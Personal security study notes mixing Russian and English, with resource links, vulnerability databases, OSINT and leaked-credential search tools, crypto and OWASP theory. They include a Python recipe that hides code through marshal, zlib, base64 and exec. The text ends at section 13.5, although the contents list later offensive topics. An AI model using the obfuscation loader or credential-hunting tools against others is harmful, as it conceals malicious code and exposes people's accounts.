Table of Contents
- 1. best links
- 2. hackers
- 3. frequently used commands
- 4. vulnerability databases
- 5. in code search
- 6. search by email
- 7. Kspersky links
- 8. learning materials
- 9. TODO exfiltration
- 10. theory
- 11. terms
- 12. criptography
- 13. attacks theory
- 13.1. base attacks
- 13.2. server-side attacks
- 13.3. client-side attacks
- 13.4. OWASP top 10
- 13.4.1. TODO Broken Authentication and Session Management
- 13.4.2. Sensitive Data Exposure
- 13.4.3. XML External Entities (XXE).
- 13.4.4. Broken Access Control.
- 13.4.5. Security Misconfiguration
- 13.4.6. Insecure Deserialization
- 13.4.7. Using Components with Known Vulnerabilities
- 13.4.8. Insufficient Logging & Monitoring
- 13.5. example
- 13.6. links
- 14. law
- 15. Organizations https://owasp.org/
- 16. password
- 16.1. most common
- 16.2. Default passwords wifi WPA2
- 16.3. key sequence
- 16.4. dates
- 16.5. patterns or modifiers
- 16.6. additional charactes
- 16.7. simple obfuscation or Replacement Password Pattern
- 16.8. words
- 16.8.1. RUS:
- 16.8.2. RUS names
- 16.8.3. universal:
- 16.8.4. games:
- 16.8.5. companies
- 16.8.6. ENG
- 16.8.7. ZH
- 16.8.8. users
- 16.8.9. top words 2024 ENG
- 16.8.10. sys admins
- 16.8.11. OWASP 100 top
- 16.8.12. TOP VK passwords
- 16.8.13. TOP rockyou
- 16.8.14. TOP outpost9
- 16.8.15. TOP digits
- 16.8.16. TOP 30
- 16.8.17. common ENG with names
- 16.8.18. databases-web-servers-ML
- 16.8.19. soft
- 16.8.20. my
- 16.8.21. telnet
- 16.9. stats
- 16.10. generate wordlist
- 16.11. my sequence
- 16.12. bash for passwords
- 16.13. bash generate password
- 16.14. all digits generator
- 16.15. bakses
- 16.16. fast permutation
- 16.17. brutefoce in c
- 16.18. common SSH passwords
- 16.19. common SSH users
- 16.20. SSH user-password pairs
- 16.21. SSH password restrictions
- 16.22. SSH 8 char, 1 dig, 1 up, 1 low, 1 spec
- 16.23. SSH carefully crafted:
- 16.24. SSH password strategy
- 16.25. SSH versions
- 17. IoT attacks
- 18. code analysiz, reverse engeering
- 19. keyloggers
- 20. virus
- 21. virus detection and removing
- 22. virus spreading
- 23. code analysiz
- 24. penetration / infiltrate system
- 25. TODO exfiltrate data
- 26. Command and Control Center
- 27. zombie control
- 28. TODO
- 29. Linux investigate, explore
- 30. Linux hide
- 31. port scaning
- 32. scanning network
- 33. web vulnerabilities scaners
- 34. info gathering
- 35. Phishing
- 36. Exploit
- 37. nmap
- 37.1. installation from sources
- 37.2. theory
- 37.3. default scan
- 37.4. host discovery
- 37.5. SCAN TECHNIQUES
- 37.6. nping Network packet generation tool
- 37.7. TODO ncat - reading, writing, redirecting, and encrypting data across a network
- 37.8. timing
- 37.9. scrinpting
- 37.10. USECASES
- 37.11. troubleshooting
- 37.12. python
- 37.13. python-nmap
- 37.14. python3-nmap
- 37.15. sheet
- 37.16. prettify output
- 37.17. why it is dangerous to run “sudo nmap”
- 38. metasploit
- 39. TODO ssh-audit
- 40. Paramiko
- 41. bruteforcers
- 42. Hydra or THC Hydra - online login bruteforce
- 42.1. installation from sources
- 42.2. main parameters
- 42.3. default timeouts
- 42.4. steals parameters
- 42.5. Python - hydra-core
- 42.6. features
- 42.7. requirements
- 42.8. tools:
- 42.9. ssh example
- 42.10. login and passowrd specifying
- 42.11. target specification
- 42.12. proxy
- 42.13. Ubuntu password complexity rules PAM
- 42.14. password generation
- 42.15. RDP
- 42.16. links
- 43. honeypots
- 44. wifi
- 44.1. net-wireless/kismet
- 44.2. to watch communication
- 44.3. attacks
- 44.4. tcpdump
- 44.5. hashcat
- 44.6. hcxdumptool
- 44.7. HashCat
- 44.8. john the reaper
- 44.9. TODO JtR
- 44.10. https://beta.ivc.no/wiki/index.php/WPA_Attack
- 44.11. https://kalitut.com/hacking-wifi-using-pmkid-and-aircrack-ng/
- 44.12. TODO android https://github.com/VREMSoftwareDevelopment/WiFiAnalyzer
- 44.13. my
- 44.14. WiKI-Eve
- 45. pixiewps - WPS offline brute force
- 46. net-wireless/aircrack-ng
- 47. mdk5
- 48. wireshark
- 49. Network tools list
- 50. python scapy - forge or decode packets
- 51. police ride
- 52. sudo linux password stealing
- 53. distros
- 54. virtualization
- 55. culture
- 56. carding
- 57. phishing
- 58. dns attacks
- 59. Distributed Deception Platform (DDP)
- 60. Trusted Platform Modules (TPM) + LUKS
- 61. MS Microsoft
- 62. skills for work
- 63. messengers article
- 64. TODO Open-source intelligence (OSINT)
- 65. Operations security (OPSEC) - procedural security - for risk management
- 66. geographic intelligence
- 67. cameras
- 68. routers
- 69. Adversarial machine learning
- 70. collecting information
- 71. tools
- 72. check socks5
- 73. compression of text or code
- 74. NEXT LEVEL
- 75. LLM
-- mode: Org; fill-column: 120; --
DNS whois https://dnsdumpster.com/?target=www.dan.me.uk
Основы безопасности сайтов https://www.youtube.com/watch?v=RGilepZEApY&list=PLfKe4duE4yJcv63tTh5q29Xc19fkG3GI7
TODO flask https://xakep.ru/2022/09/05/htb-noter/
- rus articles https://www.securitylab.ru/
- https://github.com/ksanchezcld/Hacking_Cheat_Sheet
- hacker https://github.com/axcheron
- Крупный сборник полезных пентестерских техник https://book.hacktricks.xyz
- Курс молодого бойца от CTF-команды UFOlogists https://kmb.cybber.ru/
- Прохождения реальных заданий из высших CTF-лиг https://ctftime.org/writeups
- wiki https://book.hacktricks.xyz/
Хорошие курсы по направлениям:
- веб-безопасность, https://portswigger.net/web-security/learning-path
- реверс-инжиниринг, https://rev-kids20.forkbomb.ru/tasks
- криптография, https://www.coursera.org/learn/crypto
- разборы заданий на YouTube https://www.youtube.com/playlist?list=PLLguubeCGWobeJczD33hQRfvFumwMW6M3
- burp suite https://portswigger.net/web-security
20 Best WiFi Hacking Tools for PC (2022) - TechCult
techcult.com/best-wifi-hacking-tools-for-pc/
20 Best Wifi Hacking Tools for PC (2020) 1. Aircrack-ng 2. WireShark 3. Cain & Abel 4. Nmap 5. Metasploit 6. Kismet 7. NetSparker 8. Airsnort 9. Ettercap 10. NetStumbler 11. Kiuwan 12. Nikto 13. Burp Suite 14. John the Ripper 15. Medusa 16. Angry IP Scanner 17. OpenVas 18. SQL Map 19. Intruder 20. Maltego 20 Best Wifi Hacking Tools for PC (2020) 1.
Shodan, Metasploit
1. best links
reverse engineering, drones, electronics https://hackaday.io/courses
2. hackers
- https://github.com/Euronymou5
- https://github.com/Spyk3r
- https://github.com/0xicl33n
- https://github.com/hangetzzu
- Tahmid Rayat - phishing https://github.com/htr-tech
- noahajac infosec idiot https://github.com/noahajac
3. frequently used commands
- Banner grabbing
- nc www.targethost.com 80
3.1. hiding python code
import marshal import zlib import base64 code = """ # your Python code here print("Hello, World!") """ marshaled_code = marshal.dumps(compile(code, '<string>', 'exec')) print("Marshaled code:", marshaled_code) compressed_code = zlib.compress(marshaled_code) print("Compressed code:", compressed_code) encoded_code = base64.b64encode(compressed_code) print("Encoded code:", encoded_code) reversed_code = encoded_code[::-1] print("Reversed code:", reversed_code) # Decompression step decompressed_code = zlib.decompress(base64.b64decode(reversed_code[::-1])) print("Decompressed code:", decompressed_code) exec(marshal.loads(decompressed_code))
Marshaled code: b'c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xf3\x14\x00\x00\x00\x97\x00\x02\x00e\x00d\x00\xab\x01\x00\x00\x00\x00\x00\x00\x01\x00y\x01)\x02z\rHello, World!N)\x01\xda\x05print\xa9\x00\xf3\x00\x00\x00\x00\xfa\x08<string>\xfa\x08<module>r\x05\x00\x00\x00\x01\x00\x00\x00s\x0f\x00\x00\x00\xf0\x03\x01\x01\x01\xf1\x06\x00\x01\x06\x80o\xd5\x00\x16r\x03\x00\x00\x00' Compressed code: b'x\x9cKf@\x02\xccP\xfa\xb3\x08\x90\x98\xce\xc0\xc4\x90\xca\x90\xc2\xb0\x9a\x11"\xc8\xc8P\xc9\xa8\xc9T\xc5\xeb\x91\x9a\x93\x93\xaf\xa3\x10\x9e_\x94\x93\xa2\xe8\xa7\xc9x\x8b\xb5\xa0(3\xafd%\xc3g\x90\xaa_\x1c6\xc5%@~\xba\x1d\x90\x95\x9b\x9fR\x9a\x93jW\xc4\n\xd6\xce\xc0P\xcc\x0f$>0322~dc`dk\xc8\xbf\xca V\x04\xb2\x14\x00Bx\x1b\x84' Encoded code: b'eJxLZkACzFD6swiQmM7AxJDKkMKwmhEiyMhQyajJVMXrkZqTk6+jEJ5flJOi6KfJeIu1oCgzr2Qlw2eQql8cNsUlQH66HZCVm59SmpNqV8QK1s7AUMwPJD4wMzIyfmRjYGRryL/KIFYEshQAQngbhA==' Reversed code: b'==AhbgnQAQhsEYFIK/LyrRGYjRmfyIzMw4DJPwMUA7s1KQ8VqNpmS95mVCZH66HQlUsNc8lqQe2wlQ2rzgCo1uIeJfK6iOJlf5JEj+6kTqZkrXMVJjayQhMyiEhmwKMkKDJxA7MmQiws6DFzCAkZLxJe' Decompressed code: b'c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xf3\x14\x00\x00\x00\x97\x00\x02\x00e\x00d\x00\xab\x01\x00\x00\x00\x00\x00\x00\x01\x00y\x01)\x02z\rHello, World!N)\x01\xda\x05print\xa9\x00\xf3\x00\x00\x00\x00\xfa\x08<string>\xfa\x08<module>r\x05\x00\x00\x00\x01\x00\x00\x00s\x0f\x00\x00\x00\xf0\x03\x01\x01\x01\xf1\x06\x00\x01\x06\x80o\xd5\x00\x16r\x03\x00\x00\x00' Hello, World!
_ = lambda __ : __import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b64decode(__[::-1])));exec((_)(b'==AhbgnQAQhsEYFIK/LyrRGYjRmfyIzMw4DJPwMUA7s1KQ8VqNpmS95mVCZH66HQlUsNc8lqQe2wlQ2rzgCo1uIeJfK6iOJlf5JEj+6kTqZkrXMVJjayQhMyiEhmwKMkKDJxA7MmQiws6DFzCAkZLxJe'))
Hello, World!
import marshal import zlib import base64 code = """ # your Python code here print("Hello, World!") """ marshaled_code = marshal.dumps(compile(code, '<string>', 'exec')) compressed_code = zlib.compress(marshaled_code) # print(compressed_code) import struct def encode_binary_data(data): encoded_data = '' for i in range(0, len(data), 4): chunk = data[i:i+4] if len(chunk) < 4: chunk += b'\x00' * (4 - len(chunk)) value = struct.unpack('>I', chunk)[0] encoded_data += chr(0xC0 | (value >> 18)) + chr(0x80 | ((value >> 12) & 0x3F)) + chr(0x80 | ((value >> 6) & 0x3F)) + chr(0x80 | (value & 0x3F)) return encoded_data # def encode_binary_data(data): # encoded_data = '' # for i in range(0, len(data), 4): # chunk = data[i:i+4] # if len(chunk) < 4: # chunk += b'\x00' * (4 - len(chunk)) # value = struct.unpack('>I', chunk)[0] # encoded_data += chr(0xF0 | (value >> 18)) + chr(0x80 | ((value >> 12) & 0x3F)) + chr(0x80 | ((value >> 6) & 0x3F)) + chr(0x80 | (value & 0x3F)) # return encoded_data # Example usage: encoded_data = encode_binary_data(compressed_code) print("Utf-8 code:", encoded_data) base64_code = base64.b64encode(compressed_code) print("Base64 code:", base64_code)
Utf-8 code: ủ¦Ⴠ¬±㻬°¢⛳¬⓲©⳦¡¢㋲ ⫲ 㫤ª⓫º⟗¹⣺Ợ» ૌº½¤ৰ¶⫗±°¶㇉¾⻇⛧µⓚ¥˵¬»ᓳ¼¤࿌²¦£ᣙ¯⿲¢Ǭ¡პ® Base64 code: b'eJxLZkACzFD6swiQmM7AxJDKkMKwmhEiyMhQyajJVMXrkZqTk6+jEJ5flJOi6KfJeIu1oCgzr2Qlw2eQql8cNsUlQH66HZCVm59SmpNqV8QK1s7AUMwPJD4wMzIyfmRjYGRryL/KIFYEshQAQngbhA=='
3.2. reverse dns lookup
#+begin_src python :results output :exports both :session s1 import socket def reverse_dns_lookup(ip): try: return socket.gethostbyaddr(ip)[0] except socket.herror: return None dnsrec = reverse_dns_lookup('5.255.255.242') if dnsrec: for x in dnsrec.split('.')[:-1]: print(x)
ya ru
3.3. ip regex
ip4: "^([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\\.([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])){3}$" ipv6: "^\\[(([0-9a-f]{0,4}:){1,7}[0-9a-f]{1,4})\\]$"
4. vulnerability databases
- https://nvd.nist.gov/
- https://vulert.com/vuln-db
- https://github.com/advisories/GHSA-f97h-2pfx-f59f
- https://www.cybersecurity-help.cz/vdb/nginx/nginx/1.18.0/
- https://www.exploit-db.com
- https://gitlab.com/exploit-database/exploitdb
- https://data.gpo.zugaina.org/pentoo/net-analyzer/metasploit/metasploit-9999.ebuild
каталог эксплуатируемых уязвимостей (KEV) https://www.cisa.gov/resources-tools/resources/kev-catalog
- агентство кибербезопасности и безопасности инфраструктуры США (CISA)
- основным в США источником данных о текущих угрозах, активно используемых хакерами по всему миру. Федеральные
гражданские агентства, согласно предписаниям CISA, обязаны устранять любую уязвимость из этого каталога в течение трех недель.
Поиск данных об уязвимостях и индикаторов компрометации
- MITRE CVE – поисковик, база данных и общепринятый классификатор уязвимостей.
- NIST NVD – поиск по официальной американской правительственной базе данных об уязвимостях.
- GitHub Advisory Database – база данных уязвимостей, включающая CVE и рекомендации по
безопасности.
- CVEDetails, osv.dev, VulDB, maltiverse – еще ряд источников данных об уязвимостях и
индикаторах компрометации.
- opencve.io – поисковик CVE со встроенными оповещениями о новых угрозах.
5. in code search
❗️ Поиск по исходному коду
Онлайн-сервисы:
- Searchcode — поиск реальных примеров функций, API и библиотек на 243 языках в GitHub, GitLab, Bitbucket, GoogleCode и других хранилищах исходного кода.
- Sourcegraph — быстрый и функциональный поисковик по open-source репозиториям. Имеет selfhosted-версию.
- HotExamples — поиск примеров кода open-source проект. Позволяет увидеть на одной странице примеры использования того или иного класса или метода из нескольких проектов.
Утилиты:
- Gitrob — инструмент, помогающий находить потенциально конфиденциальные файлы, помещенные в общедоступные репозитории на Github. Клонирует репозиторий, перебирает историю коммитов, помечает подозрительные файлы и выводит результаты в веб-интерфейс.
- Github Dorks — утилита для поиска с использованием дорков через GitHub Search API. Написан на Python.
- gitGraber — инструмент для мониторинга GitHub и оперативного поиска конфиденциальных данных, например, кредов от Google, Amazon (AWS), Paypal, Github, Mailgun, Facebook, Twitter, Heroku, Stripe, Twilio.
6. search by email
Утилиты для поиска по электронной почте и логинам
- Infoga – инструмент, для сбора информации об учетных записях по электронной почте из общедоступных источников (поисковые системы, серверы ключей PGP, Shodan) и проверяющий, не произошла ли утечка электронной почты, с помощью API haveibeenpwned.com.
- Holehe OSINT – проверяет, привязана ли электронная почта к учетным записям на таких сайтах, как twitter, instagram, imgur. Поддерживает более 100 порталов. Использует функцию восстановления пароля.
- Mailcat – ищет адреса электронной почты по нику у 22 почтовых провайдеров.
- WhatBreach – инструмент OSINT, упрощающий задачу обнаружения утечек, в которых участвовал конкретный адрес электронной почты. Умеет загружать общедоступные базы данных.
- h8mail и pwnedOrNot — инструменты для поиска паролей от скомпрометированных адресов электронной почты в общедоступных базах данных.
7. Kspersky links
How to improve SOC analyst efficiency using ML - DataFest. ML & Security track - https://www.youtube.com/watch?v=DPzdb9Uivwc&feature=youtu.be Краткий ликбез по ML метрикам и их связи с бизнес-метриками - LeadDS meetup - https://www.youtube.com/watch?v=pDMgvhsUPJM&feature=youtu.be DeepQuarantine for Suspicious Mail - whitepaper - https://arxiv.org/pdf/2001.04168.pdf Detection is not a classification: review of ML techniques for cybersecurity specs - slides - https://static.ptsecurity.com/phdays/presentations/classifying-or-detecting-machine-learning-methods-in-cybersecurity.pdf Monotonic models for real-time dynamic malware detection - whitepaper - https://openreview.net/pdf?id=rkjatuyvM
8. learning materials
TODO https://www.tutorialspoint.com/wireless_security/
- lessons https://www.hacker101.com/
- training www.hackthebox.com
- https://portswigger.net/web-security/learning-path
8.1. youtube channels
Null Byte :- heres https://www.youtube.com/channel/UCgTNupxATBfWmfehv21ym-g SecurityFWD :- here https://www.youtube.com/c/SecurityFWD/videos LiveOverflow :- here https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w/videos Seytonic :- here https://www.youtube.com/c/Seytonic/videos HackerSploit :- here https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q Hak5 :- here https://www.youtube.com/channel/UC3s0BtrBJpwNDaflRSoiieQ Unkn0wnUser :- here https://www.youtube.com/c/Unkn0wnUser/videos PwnFunction :- here https://www.youtube.com/channel/UCW6MNdOsqv2E9AjQkv9we7A Loi Liang Yang :- here https://www.youtube.com/channel/UC1szFCBUWXY3ESff8dJjjzw OALabs :- here https://www.youtube.com/c/OALabs/videos
course 2023 rus https://www.youtube.com/playlist?list=PLrXcA7Ca3B81tWWOaGF_RjDq-9F1e5Ine
9. TODO exfiltration
Data exfiltration / data exportation / data extrusion / data theft
https://xakep.ru/2022/09/22/infilltration-and-exfiltration/ как передать эти программы в скомпрометированную сеть https://github.com/s0i37/exfiltrate
- полном отсутствии требований к административным привилегиям и прицел на переносимость — ведь на исследуемом сервере окажется либо Windows, либо Linux
10. theory
10.1. authentication
- authentication https://thunix.net/~defanor/notes/user-authentication.xhtml
- NIST Digital Identity Guidelines https://pages.nist.gov/800-63-3/sp800-63b.html
10.1.1. RFC 3552 Guidelines for Writing RFC Text on Security Considerations
https://datatracker.ietf.org/doc/html/rfc3552
- Confidentiality - secret from unintended listeners
- Data Integrity - data we receive is the same data that the sender has sent
- Peer Entity authentication - we know that one of the endpoints in the communication is the one we intended. For send and receive.
Non-Repudiation (Неотказ от ответственности) - prevent "unilaterally abrogate" by one party of communication. ability to make this demonstration to a third party is called NON-REPUDIATION. threat model
10.2. Security Theory
Attacks & Defences
- Malware & Attack Technologies - exploits, ditributed malicious systems
- Adversarial Behaviours - malware supply chains, attack vectors, mokney transfers
- Security Operations & Incident Management - securre systems, threat intelligence
- Forensics - collection analysis and reporting of digital evidence
System security
- Operating Systems & Virtualisation sec - sharing of resources, multiuser, database
- Cryptography - protocols that use them
- Formal Methods for Security -
- Hardware Security - Infrastructure security
- Network sec - Infrastructure security
- Authentication, Authorisation & Accountability -
- Distributed Systems sec - secure consensus, time, event systems, peer-to-peer, cloud, multitenant data center
- Web & Mobile sec - Software & Plstform security
Infrastructure security
- Applied Cryptography - application, issues around implementation,key management, use within protocols and systems
- Cyber Physical systems - internet of things & industrial control systems, attacker models, large-scale infrastructures
- Physical Layer and Telecommunications sec - concertns ans limitations of the physical layer, radio frequency encoding, unintended radiation, interference
Software & Plstform security
- software sec - programming errors, sec bugs
- Secure software lifecycle -
10.3. Access Control Systems
Computer access control
- identification - prove person identity
- authorization - approve request by access prolicy
- authentication - verifying that identity
- access approval - requests in session
- audit trail - audit log
10.4. terms
- resource or object
- machine or data.
- subject
- is an active entity that requests access to a resource or the data within a resource. E.g.: user, program, process etc.
- Access
- is the flow of information between a subject and a resource.
- Access controls
- are security features that control how users and systems communicate and interact with other systems and resources.
- protection rings
- hierarchical protection domains mechanisms to protect data and functionality from faults (by improving fault tolerance) and malicious behavior (by providing computer security).
- confused deputy problem
- a computer program that is tricked by another program (with fewer privileges or less rights) into misusing its authority on the system. specific type of privilege escalation.
- privilege
- delegation of authority to perform security-relevant functions on a computer system. automatic, granted, or applied for.
- access matrix
- subject-resource
- unilaterally abrogate
- отказ в одностороннем порядке
- unilateral [/ˌyo͞onəˈladərəl/]
- односторонний
- threat model
- threats + rule some threats explicitly out of scope. describes the capabilities that an attacker is assumed to be able to deploy against a resource
- Passive Attacks
- attacker reads but not write
10.5. One-time password (OTP) or one-time PIN, one-time authorization code (OTAC)
- separate device with OTP calculator
discussed as a possible replacement for, as well as an enhancer to, traditional passwords
- in contrast to static passwords, they are not vulnerable to replay attacks
- user who uses the same (or similar) password for multiple systems, is not made vulnerable on all of them, if the
password for one of these is gained by an attacker
- hard token - base for OTP calculator
synchronization may be based on:
- time
- algorithm and previous password
- algorithm and new password is based on a challenge
10.6. principles
the principle of least privilege (PoLP) or the principle of minimal privilege (PoMP) or the principle of least authority (PoLA)
- requires that in a particular abstraction layer of a computing environment, every module (such as a process, a user, or a program, depending on the subject) must be able to access only the information and resources that are necessary for its legitimate purpose.
Separation of Duties - Separating any conflicting areas of responsibility so as to reduce opportunities for unauthorized or unintentional modification or misuse of organizational assets and/or information.
Need to know - It is based on the concept that individuals should be given access only to the information that they absolutely require in order to perform their job duties.
AHAT, “always have an audit trail” - audit log. At least you will know what, where, and when.
10.7. approaches/practice
- Security by obscurity - Hiding the act of hiding
- security by design
- open security - relying on open source
11. terms
- vulnerability [ˌvʌn.rəˈbɪl.ə.ti],[ˈvəl-n(ə-)rə-bəl]
- mitigation strategy [mɪtɪˈgeɪʃn] - стратегия смягчения последствий
- spoofing [spuːf] - имитация. ситуация, в которой один человек или программа успешно маскируется под другую путём фальсификации данных и позволяет получить незаконные преимущества.
- surveillance [sɜːˈveɪləns] - наблюдение
- Countersurveillance - противодействие наблюдению
- sousveillance [suː] - inverse surveillance. French words sur, meaning "above", and sous, meaning "below" - камера на голове - не направлено против surveillance
- Concealing [kənˈsiːlɪŋ] - сокрытие, скрывающий
- ransomware ransom — выкуп и software — программное обеспечение - вымогатель
- honeypot - система обнаружения нападения маскирующаяся под обычный сервер
- kill switch - emergency off button
- remote access trojan (RAT, sometimes called creepware)
- Dropper - kind of Trojan, "install" malware (virus, backdoor, etc.) to a computer. Keep it inside or download.
- Adversarial [ædvəsəˈrɪəl] - враждебный
- Adversary [ˈædvəsərɪ] - неприятель
- cybercrooks [ˈsaɪbər-krʊk] кибер-мошенники
- malicious [məˈlɪʃəs] - злонамеренный
- hijack hī′jăk″ - takes control of
- benign [bɪˈnaɪn] - безвредный
- nefarious [ni-ˈfer-ē-əs] - гнусный
- perpetrators [ˈpɜːpɪtreɪtə] - виновники преступлений
- extraneous [ɪkˈstreɪnɪəs] - чужеродный, посторонний, лишний
- susceptible [səˈseptəbl] - восприимчивый
- multitenant data center - многофункциональный центр обработки данных
- distributed ledgers - распределенные бухгалтерские книги
- liability [laɪəˈbɪlɪtɪ] - ответственность
- assess [əˈses] - оценивать
- disguise [dɪsˈgaɪz] - маскировать
- coercion and deterrence [kəʊˈɜːʃn] [dɪˈterəns] - принуждение и сдерживание
- negligible [ˈneglɪʤəbl] - пренебрежимо малый
- feasibly [ˈfiːzəblɪ] - осуществимо
- snooping [ˈsnuːpɪŋ] - слежка, прослушивание
- Doxxing - is a form of online harassment where a user targets a specific person or group, finds personal information, and publishes it.
- phishing ˈfiSHiNG - tricking a victim into taking some action that benefits the attacker.
- plausible deniability [ˈplɔːzəbl] (dɪˌnaɪəˈbɪlɪtɪ) - правдоподобное отрицание (deniable - спорный) - отрицание факта наличия щифрования или расшифровывания только отвлекающих данных
- obscures [əbˈskjʊə] - obscures malicious traffic within normal traffic
- Cryptographic primitive - low-level cryptographic algorithms
- One-way hash function
- Symmetric key cryptography - cryptographic keys for both the encryption the decryption (ex. AES)
- Public-key cryptography (ex. RSA)
- Digital signatures
- Mix network
- Private information retrieval - get database information without server knowing which item was requested
- Commitment scheme - allows one to commit to a chosen value while keeping it hidden to others, with the ability to reveal it later
- Salt - random data that is used as an additional input to a one-way function that hashes data, a password or passphrase/ Salts defend against attacks that use precomputed tables (e.g. rainbow tables)
- Cryptographic nonce - is an arbitrary number that can be used just once in a cryptographic communication - a random or pseudo-random number issued in an authentication protocol to ensure that old communications cannot be reused in replay attacks.
- Rainbow table - precomputed table for caching the output of cryptographic hash functions
- reverse shell - shell session established on a connection that is initiated from a remote machine, not from the local host
- Data exfiltration - malicious actor carries out an unauthorized data transfer from a computer
- infiltration [ɪnfɪlˈtreɪʃn] - проникновение
- Command-and-control (C&C or C2) - malicious communication between a C&C server and malware
- red-team assessment [əˈsesmənt] - оценка, similar to a penetration test. blue team - defenders.
- spoil - портить, distort - исказить
- tamper [ˈtæmpə] - подделывать
- Privilege escalation or root escalation ['eskə'leɪʃ(ə)n] - to gain elevated access
- File inclusion vulnerability [in-ˈklü-zhən] -
- key storage - tool used in process of key management, to use small key to open big one.
- rootkit - набор утилит или специальный модуль ядра, которые хакер устанавливает на взломанной им компьютерной системе сразу после получения прав суперпользователя.
- техники уклонения rootkit - такие как использование зашифрованных сегментов кода, ненужного кода, который остаётся неиспользованным, обфускация графа управления потоком (CFG), обнаружение отладчиков и выполнение прямых системных вызовов вместо вызовов API Windows NT.
- DoS (Denial of service) - Атака DoS проводится с одного источника и направлена на перегрузку системы запросами, что делает сервис недоступным для обычных пользователей.
- DDoS (Distributed denial of service) - Атака DDoS происходит с множества источников одновременно. Злоумышленники используют ботнеты (сети заражённых устройств) для массовой отправки запросов к целевому серверу. Противодействие: фильтрация трафика, распределение нагрузки (load balancing) и специализированные системы предотвращения атак (WAF, CDN).
- User Behavioral Analytics (UBA) - excels at handling the unknown.
- Trust on first use (TOFU), or trust upon first use (TUFU) - authentication scheme, to establish a trust relationship with an unknown or not-yet-trusted endpoint. SSH at first connection display the server's public key fingerprint, and prompt the user to verify they have indeed authenticated it using an authenticated channel.
11.1. security terms
- Information security - practice of protecting information by mitigating information risks. It is part of information risk management.
- Security engineering - process of incorporating security controls into an information system so that the controls become an integral part of the system’s operational capabilities
- Intrusion detection system - device or software application that monitors a network or systems
for malicious activity or policy violations. collected centrally using a security information and
event management (SIEM) system
- network intrusion detection systems (NIDS)
- host-based intrusion detection systems (HIDS)
- Countersurveillance
12. criptography
12.1. terms
Negligible Functions - calculate probability of success hacker attack. ex. 2-n
- negligible probability - attack is practically impossible.
One-time pad - encryption technique that cannot be cracked
Diffie–Hellman key exchange - one of the first public-key protocols
Symmetric encryption - reverse substitution and transpositions transformations without knowing the key
Asymmetric encryption - depend on mathematical problems that are thought to be difficult to solve
Semantic security - ciphertext indistinguishability - hard to guess element of message space. the adversary should learn no information from seeing a ciphertext
- semantically insecure algorithms: RSA
- random encryption padding schemes can increase Semantic security, ex Optimal Asymmetric Encryption Padding (OAEP)
Zero-knowledge proof - proof that you have some information without revealing it. are probabilistic "proofs" rather than deterministic proofs.
- Protocol characterstics:
- transparent protocol is one that does not require any trusted setup and uses public randomness.
- universal protocol is one that does not require a separate trusted setup for each circuit.
- plausibly post-quantum protocol is one that is not susceptible to known attacks involving quantum algorithms.
- Variants:
- perfect zero-knowledge
- if the distributions produced by the simulator(“looks like”) and the proof protocol are distributed exactly the same.
- Statistical zero-knowledge
- sitributions statistically close.
- (no term)
- Applications:
- Cryptocurrencies: ZKPs ensure transactions are valid without revealing sensitive information about the parties involved.
Oracle machine - can be visualized as a Turing machine with a black box, called an oracle, which is able to solve certain problems in a single operation
PKCS - for "Public Key Cryptography Standards" published by RSA Security LLC
public key infrastructure (PKI) - is a set of roles, policies, hardware, software and procedures. The X.509 standard defines the most commonly used format for public key certificates.
- certificate authority (CA) - stores, issues and signs the digital certificates
- registration authority (RA) - verifies the identity of entities requesting their digital certificates to be stored at the CA
Public key certificate - electronic document used to prove the validity of a public key
- include: digital signature of the issuer that has verified the certificate's contents
Key derivation function - cryptographic algorithm that derives one or more secret keys from a secret value using a pseudorandom function.
- Ex. result of a Diffie–Hellman key exchange into a symmetric key for use with AES
- Ex. password hashing
12.2. attacks
- Known-plaintext attack (KPA) - attacker has access to both the plaintext (called a crib), and its encrypted version (ciphertext)
- Chosen-plaintext attack (CPA) - attacker can obtain the ciphertexts for arbitrary plaintexts
- Chosen-ciphertext attack (CCA) - with obtained decryptions of chosen ciphertexts.
- Adaptive chosen-ciphertext attack (CCA2) - attacker first sends a number of ciphertexts to be decrypted chosen adaptively, then uses the results to distinguish a target ciphertext without consulting the oracle on the challenge ciphertext - интерактивная форма атаки с выбранным зашифрованным текстом, в которой злоумышленник сначала отправляет несколько зашифрованных текстов для дешифрования, выбранных адаптивно, затем использует результаты для распознавания целевого зашифрованного текста, не консультируясь с oracle по зашифрованному тексту вызова
13. attacks theory
- Credential stuffing - collects stolen account credentials, email addresses and the corresponding passwords (often from
a data breach), and then uses the credentials to gain unauthorized access to user accounts on other systems through
large-scale automated login
- Selenium, cURL, PhantomJS or tools designed specifically for these types of attacks, such as Sentry MBA, SNIPR, STORM, Blackbullet and Openbullet
- web cache poisoning https://portswigger.net/research/practical-web-cache-poisoning
13.1. base attacks
- Replay attack network attack in which a valid data transmission is repeated or delayed
- possibly as part of a spoofing attack by IP packet substitution
- prevented with session id/token
- spoofing attack
- Denial-of-service attack (DoS)
- Man-in-the-middle attack (MITM) - alters the communications
13.2. server-side attacks
TODO expliot
13.3. client-side attacks
13.4. OWASP top 10
- injection
13.4.1. TODO Broken Authentication and Session Management
13.4.2. Sensitive Data Exposure
data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.
13.4.3. XML External Entities (XXE).
- older or poorly configured XML processors evaluate external entity references within XML documents.
- External entities can be used to disclose internal files using the file URI handler,
internal file shares, internal port scanning, remote code execution, and denial of service attacks.
13.4.4. Broken Access Control.
- Restrictions on what authenticated users are allowed to do are often not properly enforced.
- Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access
other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc.
13.4.5. Security Misconfiguration
- default configurations
- incomplete or ad hoc configurations
- open cloud storage
- misconfigured HTTP headers
- verbose error messages containing sensitive information
13.4.6. Insecure Deserialization
allow replay attacks, injection attacks, and privilege escalation attacks.
13.4.7. Using Components with Known Vulnerabilities
libraries, frameworks, and other software modules, run with the same privileges as the application
13.4.8. Insufficient Logging & Monitoring
13.5. example
На первом происходит компрометация доступных из Интернета устройств через использование уязвимостей нулевого дня. Получив доступ, злоумышленники загружают на взломанные устройства вредоносное ПО.
